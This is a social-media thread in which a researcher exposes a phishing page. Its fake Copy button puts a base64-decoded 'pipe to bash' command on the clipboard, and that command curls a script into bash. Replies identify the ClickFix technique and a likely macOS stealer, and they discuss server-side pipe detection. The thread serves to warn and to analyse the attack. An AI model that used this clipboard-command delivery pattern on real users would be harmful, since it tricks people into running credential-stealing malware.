Post #290807

2025-07-17 11:00 UTC

This is pretty well executed phishing. The Copy button copies to the clipboard echo &quot;Y3Vy[...]ggJg==&quot; | base64 -d | bash which in turn curls this script https://gist.github.com/FiloSottile/385137f5ca2eabb51fd206bde2ff1d0a into bash. They even detect piping, so to read it you have to run &quot;curl | cat&quot;.

Replies (11)

@tribut@chaos.social 2025-07-17 11:10

@filippo@abyssdomain.expert Interesting, I've only seen this for Windows users. Guess Linux is next. But then again, `curl | bash` is probably what inspired this scam...

Open ##2426751
@SpaceLifeForm@infosec.exchange 2025-07-17 11:21

@filippo@abyssdomain.expert LOL. Easy fix: Close tab. The giveaway was Cloudflare.

Open ##2426756
@agowa338@chaos.social 2025-07-17 11:27

@filippo@abyssdomain.expert Have seen multiple of these by now. But what is more interesting, how do you server-side detect that a script that is downloaded via curl is being or not?

Open ##2426757
@mrzool@mastodon.online 2025-07-17 11:32

@filippo@abyssdomain.expert the script seems macOS only. What does it do?

Open ##2426769
@dgl@infosec.exchange 2025-07-17 11:57

@filippo@abyssdomain.expert curl | cat -v please ;-)

Open ##2426772
@adam_straughan@mastodon.me.uk 2025-07-17 12:42

@filippo@abyssdomain.expert I'm not sure if this is the same, I'm reading on my phone but I was reminded of this https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ which I had to read in duck browser because the certs have expired. TL;DR; because the curl version executes as it goes you can detect if it's being piped

Open ##2426774
@gimulnautti@mastodon.green 2025-07-17 12:46

@filippo@abyssdomain.expert hmm. ’set writemind to "/tmp/lovemrtrump/"’ So cybercriminals really can’t help themselves but actually write to the victim’s disk in whose name they’re conducting this heist? 🥴

Open ##2426775
@rmceoin@infosec.exchange 2025-07-17 18:50

@filippo@abyssdomain.expert the copy/paste technique is called #ClickFix . the site in the image is infected by TA2726's Keitaro which is well known for sending Windows folks to #SocGholish . what they do with macOS folks has changed over the years. i see they sent you to something that delivered what looks like Poseidon Stealer. https://medium.com/@MateoPappa/letsdefend-poseidon-macos-stealer-hard-a796c85d8c72

Open ##2426776
@jsmall@infosec.exchange 2025-07-18 07:58

@filippo@abyssdomain.expert We've seen this for a while with Powershell scripts but I'm amazed someone wrote a bash version.

Open ##2426777
@MarkAssPandi@shrimpnet.gej.pet 2025-07-20 12:09

@filippo@abyssdomain.expert For a sec I was like "why is this script on your github????" and then realized u don't mean it literally curls this link 😭

Open ##2426790
@kechpaja@social.kechpaja.com 2025-07-21 20:21

@filippo@abyssdomain.expert I hate living in a world where Cloudflare doing something like that is believable enough to fall for :(.

Open ##2426791